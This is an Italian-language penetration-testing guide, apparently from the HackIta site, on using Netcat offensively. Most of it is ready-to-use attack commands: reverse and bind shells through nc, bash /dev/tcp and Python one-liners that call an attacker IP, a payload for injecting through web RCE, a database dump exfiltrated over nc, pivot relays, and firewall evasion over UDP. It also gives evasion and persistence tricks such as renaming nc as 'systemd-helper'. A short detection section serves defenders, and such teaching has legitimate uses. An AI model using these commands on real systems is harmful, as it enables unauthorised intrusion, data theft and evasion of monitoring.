NC: Il Coltellino Svizzero per Reverse Shell e Networking #

NC è lo strumento fondamentale per qualsiasi penetration tester. Presente su quasi tutti i sistemi Unix/Linux e disponibile per Windows, permette di creare connessioni TCP/UDP arbitrarie, listener per reverse shell, trasferimento file e port scanning basilare. In questa guida impari a padroneggiare Netcat per ottenere shell, trasferire payload e costruire tunnel durante i tuoi assessment.

Posizione nella Kill Chain #

NC è il tool più versatile della toolchain offensiva, utilizzabile in quasi ogni fase:

Installazione e Setup #

Linux (Kali/Ubuntu) #

NC(netcat) è quasi sempre preinstallato. Esistono due versioni principali:

# Verifica quale versione hai
nc -h 2>&1 | head -1

Output versione tradizionale:

[v1.10-47]

Output versione OpenBSD:

usage: nc [-46cDdFhklNnrStUuvz] [-I length] ...

Installazione se mancante:

# Versione tradizionale (con -e)
sudo apt install netcat-traditional -y

# Versione OpenBSD
sudo apt install netcat-openbsd -y

Windows #

Scarica da repository affidabili o usa versione inclusa in Nmap:

# Se hai Nmap installato
ncat --version

Oppure trasferisci il binario standalone nc.exe (~60KB).

Verifica Funzionamento #

nc -lvnp 4444 &
nc localhost 4444
# Se si connette, funziona

Uso Base #

Sintassi Fondamentale #

nc [options] [host] [port]

Parametri Essenziali #

Connessione a Servizio #

nc -nv 192.168.1.100 80

Output:

(UNKNOWN) [192.168.1.100] 80 (http) open

Banner Grabbing #

echo "HEAD / HTTP/1.1\r\nHost: target\r\n\r\n" | nc -nv 192.168.1.100 80

Output:

HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
...

Reverse Shell Techniques #

Reverse Shell Linux - Attaccante #

Setup listener:

nc -lvnp 4444

Output:

listening on [any] 4444 ...

Reverse Shell Linux - Target #

Con netcat tradizionale (-e disponibile):

nc -e /bin/bash 192.168.1.50 4444

Senza -e (versione OpenBSD):

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.50 4444 > /tmp/f

Reverse Shell Windows #

nc.exe -e cmd.exe 192.168.1.50 4444

One-liner Alternatives (quando nc non ha -e) #

Bash:

bash -i >& /dev/tcp/192.168.1.50/4444 0>&1

Python:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.50",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Bind Shell Techniques #

Il target espone la shell, l’attaccante si connette.

Bind Shell - Target #

nc -lvnp 4444 -e /bin/bash

Bind Shell - Attaccante #

nc -nv 192.168.1.100 4444

Utile quando il target non può fare connessioni outbound.

File Transfer #

Metodo 1: Receiver Prima #

Ricevente (chi riceve il file):

nc -lvnp 9999 > received_file

Mittente:

nc -nv 192.168.1.50 9999 < file_to_send

Metodo 2: Sender Prima #

Mittente (espone il file):

nc -lvnp 9999 < file_to_send

Ricevente:

nc -nv 192.168.1.100 9999 > received_file

Transfer con Progress (usando pv) #

pv file.tar.gz | nc -lvnp 9999
nc -nv target 9999 | pv > file.tar.gz

Port Scanning #

Netcat può fare scanning basilare:

nc -znv 192.168.1.100 20-100

Output:

(UNKNOWN) [192.168.1.100] 80 (http) open
(UNKNOWN) [192.168.1.100] 22 (ssh) open

Per scanning più avanzato, usa Nmap.

Scenari Pratici di Penetration Test #

Scenario 1: Initial Access via Web RCE #

Timeline stimata: 10 minuti

Hai trovato RCE in applicazione web. Obiettivo: shell stabile.

# COMANDO: Setup listener (tua macchina)
nc -lvnp 443

OUTPUT ATTESO #

listening on [any] 443 ...

# COMANDO: Payload da iniettare nella RCE
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.50 443 >/tmp/f

OUTPUT ATTESO #

listening on [any] 443 ...
connect to [192.168.1.50] from (UNKNOWN) [10.10.10.50] 48234
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

COSA FARE SE FALLISCE #

• No connection: Firewall egress. Prova porta 80, 53, o 8080.
• Shell muore subito: Processo parent termina. Usa nohup o backgrounding.
• nc non disponibile: Usa bash redirect /dev/tcp o altri linguaggi.

Scenario 2: Pivoting con Port Relay #

Timeline stimata: 15 minuti

Hai compromesso un host nella DMZ e devi raggiungere rete interna.

# COMANDO: Sulla macchina DMZ, crea relay
mkfifo /tmp/backpipe
nc -lvnp 8888 < /tmp/backpipe | nc 10.10.10.100 22 > /tmp/backpipe &

# COMANDO: Dalla tua macchina
ssh admin@dmz-host -p 8888
# In realtà ti connetti a 10.10.10.100:22

Scenario 3: Exfiltrazione Database Dump #

Timeline stimata: 5 minuti

# COMANDO: Listener per ricevere dump (attaccante)
nc -lvnp 9999 > db_dump.sql

# COMANDO: Sul target, dump e invio
mysqldump -u root database 2>/dev/null | nc 192.168.1.50 9999

Scenario 4: UDP Shell per Bypass Firewall #

Alcuni firewall ispezionano solo TCP:

# Listener UDP
nc -u -lvnp 53

# Target
nc -u -e /bin/bash 192.168.1.50 53

Shell Stabilization Post-Netcat #

La shell Netcat è “dumb” - niente tab completion, niente Ctrl+C safe. Stabilizza:

# Sul target dopo connessione
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z per background

# Sulla tua macchina
stty raw -echo; fg

# Sul target
export TERM=xterm

Ora hai shell interattiva completa.

Defense Evasion #

Tecnica 1: Porta Comune #

Usa porte che sembrano traffico legittimo:

nc -lvnp 80   # HTTP
nc -lvnp 443  # HTTPS
nc -lvnp 53   # DNS

Tecnica 2: Rinomina Binario #

cp /usr/bin/nc /tmp/systemd-helper
/tmp/systemd-helper -e /bin/bash attacker 4444

Tecnica 3: Netcat-less Reverse Shell #

Se nc è monitorato, usa alternative native:

# Bash
bash -i >& /dev/tcp/attacker/4444 0>&1

# Python
python -c 'import socket,subprocess;s=socket.socket();s.connect(("attacker",4444));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'

Integration Matrix #

Confronto Varianti Netcat #

Quando usare nc traditional: serve -e, target Linux con versione old.

Quando usare alternative: serve SSL, proxy, o features avanzate.

Detection e Countermeasures #

Cosa Cerca il Blue Team #

• Processo nc o netcat in esecuzione
• Connessioni outbound su porte non standard
• Named pipe /tmp/f (indicator di nc senza -e)
• Pattern commandline -e /bin/bash

IOCs #

# Process monitoring
ps aux | grep -E "nc|netcat" | grep -v grep

# Connections
netstat -tupn | grep -E "nc|netcat"

# Named pipes
find /tmp -type p 2>/dev/null

Troubleshooting #

“Connection refused” #

Listener non attivo o porta sbagliata:

# Verifica listener
netstat -tulpn | grep 4444

Shell muore immediatamente #

Il parent process termina:

# Usa nohup
nohup nc -e /bin/bash attacker 4444 &

# Oppure disown
nc -e /bin/bash attacker 4444 &
disown

“nc: invalid option – ’e'” #

Hai versione OpenBSD. Usa metodo named pipe:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker 4444 >/tmp/f

Trasferimento file incompleto #

Connessione chiusa prima del completamento:

# Aggiungi -q per attendere
nc -q 5 -lvnp 9999 > file

Cheat Sheet Comandi #

FAQ #

Qual è la differenza tra nc e ncat?

Ncat è la versione Nmap con SSL e features extra. Nc è più basilare ma più diffuso.

Come faccio a sapere quale versione ho?

nc -h mostra help. Se vedi -e tra le opzioni, hai traditional. Se no, hai OpenBSD.

Netcat funziona attraverso NAT?

Per reverse shell sì (il target si connette a te). Per bind shell no (devi raggiungere il target).

Come evito che la shell muoia?

Usa nohup, disown, o esegui da processo persistente come cron o systemd.

È meglio nc o socat?

Nc è più semplice e diffuso. Socat è più potente (PTY, SSL). Dipende dal contesto.

Come trasferisco file binari senza corruzione?

Nc trasferisce byte-per-byte, nessun problema. Assicurati solo che la connessione non si chiuda prima.

È legale usare Netcat?

Solo su sistemi autorizzati. Per penetration test professionali, hackita.it/servizi.

Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.

Risorse: Netcat Man Page | SANS Netcat Cheat Sheet